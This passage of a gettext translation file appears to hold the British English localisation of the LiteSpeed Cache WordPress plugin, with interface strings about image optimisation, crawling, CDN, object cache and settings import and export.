msgid "No backup of original file exists."
msgstr "No backup of original file exists."

#: src/media.cls.php:375 src/media.cls.php:433
msgid "Using optimized version of file. "
msgstr "Using optimised version of file. "

#: src/media.cls.php:368
msgid "Orig saved %s"
msgstr "Orig saved %s"

#: src/media.cls.php:364
msgid "Original file reduced by %1$s (%2$s)"
msgstr "Original file reduced by %1$s (%2$s)"

#: src/media.cls.php:358 src/media.cls.php:413
msgid "Click to switch to optimized version."
msgstr "Click to switch to optimised version."

#: src/media.cls.php:358
msgid "Currently using original (unoptimized) version of file."
msgstr "Currently using original (unoptimised) version of file."

#: src/media.cls.php:357 src/media.cls.php:409
msgid "(non-optm)"
msgstr "(non-optm)"

#: src/media.cls.php:354 src/media.cls.php:406
msgid "Click to switch to original (unoptimized) version."
msgstr "Click to switch to original (unoptimised) version."

#: src/media.cls.php:354
msgid "Currently using optimized version of file."
msgstr "Currently using optimised version of file."

#: src/media.cls.php:353 src/media.cls.php:376 src/media.cls.php:402
#: src/media.cls.php:435
msgid "(optm)"
msgstr "(optm)"

#: src/placeholder.cls.php:140
msgid "LQIP image preview for size %s"
msgstr "LQIP image preview for size %s"

#: src/placeholder.cls.php:83
msgid "LQIP"
msgstr "LQIP"

#: src/crawler.cls.php:1410
msgid "Previously existed in blocklist"
msgstr "Previously existed in blocklist"

#: src/crawler.cls.php:1407
msgid "Manually added to blocklist"
msgstr "Manually added to blocklist"

#: src/htaccess.cls.php:325
msgid "Mobile Agent Rules"
msgstr "Mobile Agent Rules"

#: src/crawler-map.cls.php:377
msgid "Sitemap created successfully: %d items"
msgstr "Sitemap created successfully: %d items"

#: src/crawler-map.cls.php:280
msgid "Sitemap cleaned successfully"
msgstr "Sitemap cleaned successfully"

#: src/admin-display.cls.php:1494
msgid "Invalid IP"
msgstr "Invalid IP"

#: src/admin-display.cls.php:1466
msgid "Value range"
msgstr "Value range"

#: src/admin-display.cls.php:1463
msgid "Smaller than"
msgstr "Smaller than"

#: src/admin-display.cls.php:1461
msgid "Larger than"
msgstr "Larger than"

#: src/admin-display.cls.php:1455
msgid "Zero, or"
msgstr "Zero, or"

#: src/admin-display.cls.php:1443
msgid "Maximum value"
msgstr "Maximum value"

#: src/admin-display.cls.php:1440
msgid "Minimum value"
msgstr "Minimum value"

#: src/admin-display.cls.php:1420
msgid "Path must end with %s"
msgstr "Path must end with %s"

#: src/admin-display.cls.php:1400
msgid "Invalid rewrite rule"
msgstr "Invalid rewrite rule"

#: src/admin-display.cls.php:260
msgid "Toolbox"
msgstr "Toolbox"

#: src/admin-display.cls.php:258
msgid "Database"
msgstr "Database"

#: src/admin-display.cls.php:257 tpl/dash/dashboard.tpl.php:204
#: tpl/dash/network_dash.tpl.php:37 tpl/general/online.tpl.php:83
#: tpl/general/online.tpl.php:133 tpl/general/online.tpl.php:148
msgid "Page Optimization"
msgstr "Page Optimisation"

#: src/admin-display.cls.php:250 tpl/dash/entry.tpl.php:16
msgid "Dashboard"
msgstr "Dashboard"

#: src/db-optm.cls.php:291
msgid "Converted to InnoDB successfully."
msgstr "Converted to InnoDB successfully."

#: src/purge.cls.php:328
msgid "Cleaned all Gravatar files."
msgstr "Cleaned all Gravatar files."

#: src/purge.cls.php:311
msgid "Cleaned all LQIP files."
msgstr "Cleaned all LQIP files."

#: src/error.cls.php:239
msgid "Unknown error"
msgstr "Unknown error"

#: src/error.cls.php:228
msgid "Your domain has been forbidden from using our services due to a previous policy violation."
msgstr "Your domain has been forbidden from using our services due to a previous policy violation."

#: src/error.cls.php:223
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: "
msgstr "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: "

#: src/error.cls.php:218
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers."
msgstr "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers."

#: src/error.cls.php:214
msgid "The callback validation to your domain failed due to hash mismatch."
msgstr "The callback validation to your domain failed due to hash mismatch."

#: src/error.cls.php:210
msgid "Your application is waiting for approval."
msgstr "Your application is waiting for approval."

#: src/error.cls.php:204
msgid "Previous request too recent. Please try again after %s."
msgstr "Previous request too recent. Please try again after %s."

#: src/error.cls.php:199
msgid "Previous request too recent. Please try again later."
msgstr "Previous request too recent. Please try again later."

#: src/error.cls.php:195
msgid "Crawler disabled by the server admin."
msgstr "Crawler disabled by the server admin."

#: src/error.cls.php:167
msgid "Could not find %1$s in %2$s."
msgstr "Could not find %1$s in %2$s."

#: src/error.cls.php:155
msgid "Credits are not enough to proceed the current request."
msgstr "Credits are not enough to proceed with the current request."

#: src/error.cls.php:124
msgid "There is proceeding queue not pulled yet."
msgstr "There is proceeding queue not pulled yet."

#: src/error.cls.php:116
msgid "The image list is empty."
msgstr "The image list is empty."

#: src/task.cls.php:233
msgid "LiteSpeed Crawler Cron"
msgstr "LiteSpeed Crawler Cron"

#: src/task.cls.php:214
msgid "Every Minute"
msgstr "Every Minute"

#: tpl/general/settings.tpl.php:119
msgid "Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions."
msgstr "Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions."

#: tpl/toolbox/report.tpl.php:105
msgid "To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report."
msgstr "To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report."

#: tpl/toolbox/report.tpl.php:107
msgid "Please do NOT share the above passwordless link with anyone."
msgstr "Please do NOT share the above passwordless link with anyone."

#: tpl/toolbox/report.tpl.php:48
msgid "To generate a passwordless link for LiteSpeed Support Team access, you must install %s."
msgstr "To generate a passwordless link for LiteSpeed Support Team access, you must install %s."

#: tpl/banner/cloud_news.tpl.php:30 tpl/banner/cloud_news.tpl.php:41
msgid "Install"
msgstr "Install"

#: tpl/cache/settings-esi.tpl.php:46
msgid "These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN."
msgstr "These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN."

#: tpl/banner/score.php:74 tpl/dash/dashboard.tpl.php:455
msgid "PageSpeed Score"
msgstr "PageSpeed Score"

#: tpl/banner/score.php:62 tpl/banner/score.php:96
#: tpl/dash/dashboard.tpl.php:410 tpl/dash/dashboard.tpl.php:486
msgid "Improved by"
msgstr "Improved by"

#: tpl/banner/score.php:53 tpl/banner/score.php:87
#: tpl/dash/dashboard.tpl.php:402 tpl/dash/dashboard.tpl.php:478
msgid "After"
msgstr "After"

#: tpl/banner/score.php:45 tpl/banner/score.php:79
#: tpl/dash/dashboard.tpl.php:394 tpl/dash/dashboard.tpl.php:470
msgid "Before"
msgstr "Before"

#: tpl/banner/score.php:40 tpl/dash/dashboard.tpl.php:374
msgid "Page Load Time"
msgstr "Page Load Time"

#: tpl/inc/check_cache_disabled.php:20
msgid "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN."
msgstr "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN."

#: src/lang.cls.php:212
msgid "Preserve EXIF/XMP data"
msgstr "Preserve EXIF/XMP data"

#: tpl/toolbox/beta_test.tpl.php:35
msgid "Try GitHub Version"
msgstr "Try GitHub Version"

#: tpl/cdn/other.tpl.php:112
msgid "If you turn any of the above settings OFF, please remove the related file types from the %s box."
msgstr "If you turn any of the above settings OFF, please remove the related file types from the %s box."

#: src/doc.cls.php:123
msgid "Both full and partial strings can be used."
msgstr "Both full and partial strings can be used."

#: tpl/page_optm/settings_media_exc.tpl.php:60
msgid "Images containing these class names will not be lazy loaded."
msgstr "Images containing these class names will not be lazy loaded."

#: src/lang.cls.php:185
msgid "Lazy Load Image Class Name Excludes"
msgstr "Lazy Load Image Class Name Excludes"

#: tpl/cache/settings-cache.tpl.php:139 tpl/cache/settings-cache.tpl.php:164
msgid "For example, %1$s defines a TTL of %2$s seconds for %3$s."
msgstr "For example, %1$s defines a TTL of %2$s seconds for %3$s."

#: tpl/cache/settings-cache.tpl.php:136 tpl/cache/settings-cache.tpl.php:161
msgid "To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI."
msgstr "To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI."

#: tpl/banner/new_version.php:93
msgid "Maybe Later"
msgstr "Maybe later"

#: tpl/banner/new_version.php:87
msgid "Turn On Auto Upgrade"
msgstr "Turn on auto upgrade"

#: tpl/banner/new_version.php:77 tpl/banner/new_version_dev.tpl.php:41
#: tpl/toolbox/beta_test.tpl.php:87
msgid "Upgrade"
msgstr "Upgrade"

#: tpl/banner/new_version.php:66
msgid "New release %s is available now."
msgstr "New release %s is available now."

#: tpl/banner/new_version.php:58
msgid "New Version Available!"
msgstr "New version available!"

#: tpl/banner/score.php:112
msgid "Sure I'd love to review!"
msgstr "Sure I'd love to review!"

#: tpl/banner/score.php:36
msgid "Thank You for Using the LiteSpeed Cache Plugin!"
msgstr "Thank you for using the LiteSpeed Cache plugin!"

#: src/activation.cls.php:572
msgid "Upgraded successfully."
msgstr "Upgraded successfully."

#: src/activation.cls.php:563 src/activation.cls.php:568
msgid "Failed to upgrade."
msgstr "Failed to upgrade."

#: src/conf.cls.php:683
msgid "Changed setting successfully."
msgstr "Changed setting successfully."

#: tpl/cache/settings-esi.tpl.php:37
msgid "ESI sample for developers"
msgstr "ESI sample for developers"

#: tpl/cache/settings-esi.tpl.php:29
msgid "Replace %1$s with %2$s."
msgstr "Replace %1$s with %2$s."

#: tpl/cache/settings-esi.tpl.php:26
msgid "You can turn shortcodes into ESI blocks."
msgstr "You can turn shortcodes into ESI blocks."

#: tpl/cache/settings-esi.tpl.php:22
msgid "WpW: Private Cache vs. Public Cache"
msgstr "WpW: Private Cache vs. Public Cache"

#: tpl/page_optm/settings_html.tpl.php:132
msgid "Append query string %s to the resources to bypass this action."
msgstr "Append query string %s to the resources to bypass this action."

#: tpl/page_optm/settings_html.tpl.php:127
msgid "Google reCAPTCHA will be bypassed automatically."
msgstr "Google reCAPTCHA will be bypassed automatically."

#: src/admin-display.cls.php:446 tpl/crawler/settings.tpl.php:179
msgid "Cookie Values"
msgstr "Cookie Values"

#: src/admin-display.cls.php:445
msgid "Cookie Name"
msgstr "Cookie Name"

#: src/lang.cls.php:253
msgid "Cookie Simulation"
msgstr "Cookie Simulation"

#: tpl/page_optm/settings_html.tpl.php:146
msgid "Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact."
msgstr "Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact."

#: tpl/general/settings_inc.auto_upgrade.tpl.php:25
msgid "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual."
msgstr "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual."

#: src/lang.cls.php:99
msgid "Automatically Upgrade"
msgstr "Automatically Upgrade"

#: tpl/toolbox/settings-debug.tpl.php:98
msgid "Your IP"
msgstr "Your IP"

#: src/import.cls.php:156
msgid "Reset successfully."
msgstr "Reset successfully."

#: tpl/toolbox/import_export.tpl.php:67
msgid "This will reset all settings to default settings."
msgstr "This will reset all settings to default settings."

#: tpl/toolbox/import_export.tpl.php:63
msgid "Reset All Settings"
msgstr "Reset All Settings"

#: tpl/page_optm/settings_tuning_css.tpl.php:128
msgid "Separate critical CSS files will be generated for paths containing these strings."
msgstr "Separate critical CSS files will be generated for paths containing these strings."

#: src/lang.cls.php:169
msgid "Separate CCSS Cache URIs"
msgstr "Separate CCSS Cache URIs"

#: tpl/page_optm/settings_tuning_css.tpl.php:114
msgid "For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site."
msgstr "For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site."

#: tpl/page_optm/settings_tuning_css.tpl.php:113
msgid "List post types where each item of that type should have its own CCSS generated."
msgstr "List post types where each item of that type should have its own CCSS generated."

#: src/lang.cls.php:168
msgid "Separate CCSS Cache Post Types"
msgstr "Separate CCSS Cache Post Types"

#: tpl/page_optm/settings_media.tpl.php:200
msgid "Size list in queue waiting for cron"
msgstr "Size list in queue waiting for cron"

#: tpl/page_optm/settings_media.tpl.php:175
msgid "If set to %1$s, before the placeholder is localized, the %2$s configuration will be used."
msgstr "If set to %1$s, before the placeholder is localised, the %2$s configuration will be used."

#: tpl/page_optm/settings_media.tpl.php:172
msgid "Automatically generate LQIP in the background via a cron-based queue."
msgstr "Automatically generate LQIP in the background via a cron-based queue."

#: tpl/page_optm/settings_media.tpl.php:77
msgid "This will generate the placeholder with same dimensions as the image if it has the width and height attributes."
msgstr "This will generate the placeholder with same dimensions as the image if it has the width and height attributes."

#: tpl/page_optm/settings_media.tpl.php:76
msgid "Responsive image placeholders can help to reduce layout reshuffle when images are loaded."
msgstr "Responsive image placeholders can help to reduce layout reshuffle when images are loaded."

#: src/lang.cls.php:192
msgid "Responsive Placeholder"
msgstr "Responsive Placeholder"

#: tpl/toolbox/purge.tpl.php:101
msgid "This will delete all generated image LQIP placeholder files"
msgstr "This will delete all generated image LQIP placeholder files"

#: tpl/inc/check_cache_disabled.php:31
msgid "Please enable LiteSpeed Cache in the plugin settings."
msgstr "Please enable LiteSpeed Cache in the plugin settings."

#: tpl/inc/check_cache_disabled.php:25
msgid "Please enable the LSCache Module at the server level, or ask your hosting provider."
msgstr "Please enable the LSCache Module at the server level, or ask your hosting provider."

#: src/cloud.cls.php:1435 src/cloud.cls.php:1458
msgid "Failed to request via WordPress"
msgstr "Failed to request via WordPress"

#. Description of the plugin
#: litespeed-cache.php
msgid "High-performance page caching and site optimization from LiteSpeed"
msgstr "High-performance page caching and site optimisation from LiteSpeed"

#: src/img-optm.cls.php:2099
msgid "Reset the optimized data successfully."
msgstr "Reset the optimised data successfully."

#: src/gui.cls.php:893
msgid "Update %s now"
msgstr "Update %s now"

#: src/gui.cls.php:890
msgid "View %1$s version %2$s details"
msgstr "View %1$s version %2$s details"

#: src/gui.cls.php:888
msgid "<a href=\"%1$s\" %2$s>View version %3$s details</a> or <a href=\"%4$s\" %5$s target=\"_blank\">update now</a>."
msgstr "<a href=\"%1$s\" %2$s>View version %3$s details</a> or <a href=\"%4$s\" %5$s target=\"_blank\">update now</a>."

#: src/gui.cls.php:868
msgid "Install %s"
msgstr "Install %s"

#: tpl/inc/check_cache_disabled.php:40
msgid "LSCache caching functions on this page are currently unavailable!"
msgstr "LSCache caching functions on this page are currently unavailable!"

#: src/cloud.cls.php:1589
msgid "%1$s plugin version %2$s required for this action."
msgstr "%1$s plugin version %2$s required for this action."

#: src/cloud.cls.php:1518
msgid "We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience."
msgstr "We are working hard to improve your online service experience. The service will be unavailable while we work. We apologise for any inconvenience."

#: tpl/img_optm/settings.tpl.php:60
msgid "Automatically remove the original image backups after fetching optimized images."
msgstr "Automatically remove the original image backups after fetching optimised images."

#: src/lang.cls.php:208
msgid "Remove Original Backups"
msgstr "Remove Original Backups"

#: tpl/img_optm/settings.tpl.php:34
msgid "Automatically request optimization via cron job."
msgstr "Automatically request optimisation via cron job."

#: tpl/img_optm/summary.tpl.php:188
msgid "A backup of each image is saved before it is optimized."
msgstr "A backup of each image is saved before it is optimised."

#: src/img-optm.cls.php:1892
msgid "Switched images successfully."
msgstr "Switched images successfully."

#: tpl/img_optm/settings.tpl.php:81
msgid "This can improve quality but may result in larger images than lossy compression will."
msgstr "This can improve quality but may result in larger images than lossy compression will."

#: tpl/img_optm/settings.tpl.php:80
msgid "Optimize images using lossless compression."
msgstr "Optimise images using lossless compression."

#: src/lang.cls.php:210
msgid "Optimize Losslessly"
msgstr "Optimise Losslessly"

#: tpl/img_optm/settings.tpl.php:47
msgid "Optimize images and save backups of the originals in the same folder."
msgstr "Optimise images and save backups of the originals in the same folder."

#: src/lang.cls.php:207
msgid "Optimize Original Images"
msgstr "Optimise Original Images"

#: tpl/page_optm/settings_css.tpl.php:220
msgid "When this option is turned %s, it will also load Google Fonts asynchronously."
msgstr "When this option is turned %s, it will also load Google Fonts asynchronously."

#: src/purge.cls.php:254
msgid "Cleaned all Critical CSS files."
msgstr "Cleaned all Critical CSS files."

#: tpl/page_optm/settings_css.tpl.php:327
msgid "This will inline the asynchronous CSS library to avoid render blocking."
msgstr "This will inline the asynchronous CSS library to avoid render blocking."

#: src/lang.cls.php:153
msgid "Inline CSS Async Lib"
msgstr "Inline CSS Async Lib"

#: tpl/page_optm/settings_localization.tpl.php:72
#: tpl/page_optm/settings_media.tpl.php:218
msgid "Run Queue Manually"
msgstr "Run Queue Manually"

#: tpl/page_optm/settings_css.tpl.php:105
#: tpl/page_optm/settings_css.tpl.php:242
msgid "Last requested cost"
msgstr "Last requested cost"

#: tpl/page_optm/settings_css.tpl.php:102
#: tpl/page_optm/settings_css.tpl.php:239
#: tpl/page_optm/settings_media.tpl.php:188
#: tpl/page_optm/settings_vpi.tpl.php:53
msgid "Last generated"
msgstr "Last generated"

#: tpl/page_optm/settings_media.tpl.php:180
msgid "If set to %s this is done in the foreground, which may slow down page load."
msgstr "If set to %s this is done in the foreground, which may slow down page load."

#: tpl/page_optm/settings_css.tpl.php:215
msgid "Optimize CSS delivery."
msgstr "Optimise CSS delivery."

#: tpl/toolbox/purge.tpl.php:74
msgid "This will delete all generated critical CSS files"
msgstr "This will delete all generated critical CSS files"

#: tpl/dash/dashboard.tpl.php:623 tpl/toolbox/purge.tpl.php:73
msgid "Critical CSS"
msgstr "Critical CSS"

#: src/doc.cls.php:65
msgid "This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily."
msgstr "This site utilises caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily."

#: tpl/toolbox/heartbeat.tpl.php:28
msgid "Disabling this may cause WordPress tasks triggered by AJAX to stop working."
msgstr "Disabling this may cause WordPress tasks triggered by Ajax to stop working."

#: src/utility.cls.php:228
msgid "right now"
msgstr "right now"

#: src/utility.cls.php:228
msgid "just now"
msgstr "just now"

#: tpl/img_optm/summary.tpl.php:259
msgid "Saved"
msgstr "Saved"

#: tpl/img_optm/summary.tpl.php:253
#: tpl/page_optm/settings_localization.tpl.php:61
msgid "Last ran"
msgstr "Last ran"

#: tpl/img_optm/settings.tpl.php:66 tpl/img_optm/summary.tpl.php:245
msgid "You will be unable to Revert Optimization once the backups are deleted!"
msgstr "You will be unable to Revert Optimisation once the backups are deleted!"

#: tpl/img_optm/settings.tpl.php:65 tpl/img_optm/summary.tpl.php:244
#: tpl/page_optm/settings_media.tpl.php:308
msgid "This is irreversible."
msgstr "This is irreversible."

#: tpl/img_optm/summary.tpl.php:265
msgid "Remove Original Image Backups"
msgstr "Remove Original Image Backups"

#: tpl/img_optm/summary.tpl.php:264
msgid "Are you sure you want to remove all image backups?"
msgstr "Are you sure you want to remove all image backups?"

#: tpl/crawler/blacklist.tpl.php:32 tpl/img_optm/summary.tpl.php:201
msgid "Total"
msgstr "Total"

#: tpl/img_optm/summary.tpl.php:198 tpl/img_optm/summary.tpl.php:256
msgid "Files"
msgstr "Files"

#: tpl/img_optm/summary.tpl.php:194
msgid "Last calculated"
msgstr "Last calculated"

#: tpl/img_optm/summary.tpl.php:208
msgid "Calculate Original Image Storage"
msgstr "Calculate Original Image Storage"

#: tpl/img_optm/summary.tpl.php:184
msgid "Storage Optimization"
msgstr "Storage Optimisation"

#: tpl/cdn/other.tpl.php:141 tpl/img_optm/settings.tpl.php:151
msgid "Use the format %1$s or %2$s (element is optional)."
msgstr "Use the format %1$s or %2$s (element is optional)."

#: tpl/cdn/other.tpl.php:137 tpl/img_optm/settings.tpl.php:150
msgid "Only attributes listed here will be replaced."
msgstr "Only attributes listed here will be replaced."

#: tpl/cdn/other.tpl.php:196
msgid "Only files within these directories will be pointed to the CDN."
msgstr "Only files within these directories will be pointed to the CDN."

#: src/lang.cls.php:244
msgid "Included Directories"
msgstr "Included Directories"

#: tpl/cache/settings-purge.tpl.php:152
msgid "A Purge All will be executed when WordPress runs these hooks."
msgstr "A Purge All will be executed when WordPress runs these hooks."

#: src/lang.cls.php:221
msgid "Purge All Hooks"
msgstr "Purge All Hooks"

#: src/purge.cls.php:213
msgid "Purged all caches successfully."
msgstr "Purged all caches successfully."

#: src/gui.cls.php:562 src/gui.cls.php:691 src/gui.cls.php:744
msgid "LSCache"
msgstr "LSCache"

#: src/gui.cls.php:506
msgid "Forced cacheable"
msgstr "Forced cacheable"

#: tpl/cache/settings-cache.tpl.php:133
msgid "Paths containing these strings will be cached regardless of no-cacheable settings."
msgstr "Paths containing these strings will be cached regardless of no-cacheable settings."

#: src/lang.cls.php:130
msgid "Force Cache URIs"
msgstr "Force Cache URIs"

#: tpl/cache/network_settings-excludes.tpl.php:17
#: tpl/cache/settings-excludes.tpl.php:15
msgid "Exclude Settings"
msgstr "Exclude Settings"

#: tpl/toolbox/settings-debug.tpl.php:69
msgid "This will disable LSCache and all optimization features for debug purpose."
msgstr "This will disable LSCache and all optimisation features for debug purpose."

#: src/lang.cls.php:256
msgid "Disable All Features"
msgstr "Disable All Features"

#: src/gui.cls.php:599 src/gui.cls.php:781 tpl/toolbox/purge.tpl.php:64
msgid "Opcode Cache"
msgstr "Opcode Cache"

#: src/gui.cls.php:570 src/gui.cls.php:752 tpl/toolbox/purge.tpl.php:47
msgid "CSS/JS Cache"
msgstr "CSS/JS Cache"

#: src/gui.cls.php:849 tpl/img_optm/summary.tpl.php:176
msgid "Remove all previous unfinished image optimization requests."
msgstr "Remove all previous unfinished image optimisation requests."

#: src/gui.cls.php:850 tpl/img_optm/summary.tpl.php:178
msgid "Clean Up Unfinished Data"
msgstr "Clean Up Unfinished Data"

#: tpl/banner/slack.php:40
msgid "Join Us on Slack"
msgstr "Join Us on Slack"

#. translators: %s: Link to LiteSpeed Slack community
#: tpl/banner/slack.php:28
msgid "Join the %s community."
msgstr "Join the %s community."

#: tpl/banner/slack.php:24
msgid "Want to connect with other LiteSpeed users?"
msgstr "Want to connect with other LiteSpeed users?"

#: tpl/cdn/cf.tpl.php:47
msgid "Your Email address on %s."
msgstr "Your Email address on %s."

#: tpl/cdn/cf.tpl.php:31
msgid "Use %s API functionality."
msgstr "Use %s API functionality."

#: tpl/cdn/other.tpl.php:80
msgid "To randomize CDN hostname, define multiple hostnames for the same resources."
msgstr "To randomise CDN hostname, define multiple hostnames for the same resources."

#: tpl/inc/admin_footer.php:23
msgid "Join LiteSpeed Slack community"
msgstr "Join LiteSpeed Slack community"

#: tpl/inc/admin_footer.php:21
msgid "Visit LSCWP support forum"
msgstr "Visit LSCWP support forum"

#: src/lang.cls.php:27 tpl/dash/dashboard.tpl.php:560
msgid "Images notified to pull"
msgstr "Images notified to pull"

#: tpl/img_optm/summary.tpl.php:291
msgid "What is a group?"
msgstr "What is a group?"

#: src/admin-display.cls.php:1573
msgid "%s image"
msgstr "%s image"

#: src/admin-display.cls.php:1570
msgid "%s group"
msgstr "%s group"

#: src/admin-display.cls.php:1561
msgid "%s images"
msgstr "%s images"

#: src/admin-display.cls.php:1558
msgid "%s groups"
msgstr "%s groups"

#: src/crawler.cls.php:1236
msgid "Guest"
msgstr "Guest"

#: tpl/crawler/settings.tpl.php:109
msgid "To crawl the site as a logged-in user, enter the user ids to be simulated."
msgstr "To crawl the site as a logged-in user, enter the user ids to be simulated."

#: src/lang.cls.php:252
msgid "Role Simulation"
msgstr "Role Simulation"

#: tpl/crawler/summary.tpl.php:232
msgid "running"
msgstr "running"

#: tpl/db_optm/manage.tpl.php:187
msgid "Size"
msgstr "Size"

#: tpl/crawler/summary.tpl.php:123 tpl/dash/dashboard.tpl.php:103
#: tpl/dash/dashboard.tpl.php:822
msgid "Ended reason"
msgstr "Ended reason"

#: tpl/crawler/summary.tpl.php:116 tpl/dash/dashboard.tpl.php:97
#: tpl/dash/dashboard.tpl.php:816
msgid "Last interval"
msgstr "Last interval"

#: tpl/crawler/summary.tpl.php:104 tpl/dash/dashboard.tpl.php:91
#: tpl/dash/dashboard.tpl.php:810
msgid "Current crawler started at"
msgstr "Current crawler started at"

#: tpl/crawler/summary.tpl.php:97
msgid "Run time for previous crawler"
msgstr "Run time for previous crawler"

#: tpl/crawler/summary.tpl.php:91 tpl/crawler/summary.tpl.php:98
msgid "%d seconds"
msgstr "%d seconds"

#: tpl/crawler/summary.tpl.php:90
msgid "Last complete run time for all crawlers"
msgstr "Last complete run time for all crawlers"

#: tpl/crawler/summary.tpl.php:77
msgid "Current sitemap crawl started at"
msgstr "Current sitemap crawl started at"

#. translators: %1$s: Object Cache Admin title, %2$s: OFF status
#: tpl/cache/settings_inc.object.tpl.php:278
msgid "Save transients in database when %1$s is %2$s."
msgstr "Save transients in database when %1$s is %2$s."

#: src/lang.cls.php:124
msgid "Store Transients"
msgstr "Store Transients"

#. translators: %1$s: Cache Mobile label, %2$s: ON status, %3$s: List of Mobile
#. User Agents label
#: tpl/cache/settings_inc.cache_mobile.tpl.php:89
msgid "If %1$s is %2$s, then %3$s must be populated!"
msgstr "If %1$s is %2$s, then %3$s must be populated!"

#: tpl/cache/more_settings_tip.tpl.php:22
#: tpl/cache/settings-excludes.tpl.php:71
#: tpl/cache/settings-excludes.tpl.php:104 tpl/cdn/other.tpl.php:79
#: tpl/crawler/settings.tpl.php:76 tpl/crawler/settings.tpl.php:86
msgid "NOTE"
msgstr "NOTE"

#. translators: %s: list of server variables in <code> tags
#: src/admin-display.cls.php:1517
msgid "Server variable(s) %s available to override this setting."
msgstr "Server variable(s) %s available to override this setting."

#: src/admin-display.cls.php:1514 tpl/cache/settings-esi.tpl.php:103
#: tpl/page_optm/settings_css.tpl.php:87 tpl/page_optm/settings_css.tpl.php:223
#: tpl/page_optm/settings_html.tpl.php:131
#: tpl/page_optm/settings_media.tpl.php:258
#: tpl/page_optm/settings_media_exc.tpl.php:36
#: tpl/page_optm/settings_tuning.tpl.php:48
#: tpl/page_optm/settings_tuning.tpl.php:68
#: tpl/page_optm/settings_tuning.tpl.php:89
#: tpl/page_optm/settings_tuning.tpl.php:110
#: tpl/page_optm/settings_tuning.tpl.php:129
#: tpl/page_optm/settings_tuning_css.tpl.php:35
#: tpl/page_optm/settings_tuning_css.tpl.php:96
#: tpl/page_optm/settings_tuning_css.tpl.php:99
#: tpl/page_optm/settings_tuning_css.tpl.php:100
#: tpl/toolbox/edit_htaccess.tpl.php:61 tpl/toolbox/edit_htaccess.tpl.php:79
msgid "API"
msgstr "API"

#: src/import.cls.php:134
msgid "Imported setting file %s successfully."
msgstr "Imported setting file %s successfully."

#: src/import.cls.php:81
msgid "Import failed due to file error."
msgstr "Import failed due to file error."

#: tpl/page_optm/settings_css.tpl.php:61 tpl/page_optm/settings_js.tpl.php:48
msgid "How to Fix Problems Caused by CSS/JS Optimization."
msgstr "How to Fix Problems Caused by CSS/JS Optimisation."

#: tpl/cache/settings-advanced.tpl.php:76
msgid "This will generate extra requests to the server, which will increase server load."
msgstr "This will generate extra requests to the server, which will increase server load."

#: src/lang.cls.php:223
msgid "Instant Click"
msgstr "Instant Click"

#: tpl/toolbox/purge.tpl.php:65
msgid "Reset the entire opcode cache"
msgstr "Reset the entire opcode cache"

#: tpl/toolbox/import_export.tpl.php:59
msgid "This will import settings from a file and override all current LiteSpeed Cache settings."
msgstr "This will import settings from a file and override all current LiteSpeed Cache settings."

#: tpl/toolbox/import_export.tpl.php:54
msgid "Last imported"
msgstr "Last imported"

#: tpl/toolbox/import_export.tpl.php:48
msgid "Import"
msgstr "Import"

#: tpl/toolbox/import_export.tpl.php:40
msgid "Import Settings"
msgstr "Import Settings"

#: tpl/toolbox/import_export.tpl.php:36
msgid "This will export all current LiteSpeed Cache settings and save them as a file."
msgstr "This will export all current LiteSpeed Cache settings and save them as a file."

#: tpl/toolbox/import_export.tpl.php:31
msgid "Last exported"
msgstr "Last exported"

#: tpl/toolbox/import_export.tpl.php:25
msgid "Export"
msgstr "Export"

#: tpl/toolbox/import_export.tpl.php:19
msgid "Export Settings"
msgstr "Export Settings"

#: tpl/presets/entry.tpl.php:17 tpl/toolbox/entry.tpl.php:20
msgid "Import / Export"
msgstr "Import / Export"

#: tpl/cache/settings_inc.object.tpl.php:249
msgid "Use keep-alive connections to speed up cache operations."
msgstr "Use keep-alive connections to speed up cache operations."

#: tpl/cache/settings_inc.object.tpl.php:209
msgid "Database to be used"
msgstr "Database to be used"

#: src/lang.cls.php:119
msgid "Redis Database ID"
msgstr "Redis Database ID"

#: tpl/cache/settings_inc.object.tpl.php:196
msgid "Specify the password used when connecting."
msgstr "Specify the password used when connecting."

#: src/lang.cls.php:118
msgid "Password"
msgstr "Password"

#. translators: %s: SASL
#: tpl/cache/settings_inc.object.tpl.php:180
msgid "Only available when %s is installed."
msgstr "Only available when %s is installed."

#: src/lang.cls.php:117
msgid "Username"
msgstr "Username"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:99
msgid "Your %s Hostname or IP address."
msgstr "Your %s Hostname or IP address."

#: src/lang.cls.php:113
msgid "Method"
msgstr "Method"

#: src/purge.cls.php:473
msgid "Purge all object caches successfully."
msgstr "Purge all object caches successfully."

#: src/purge.cls.php:460
msgid "Object cache is not enabled."
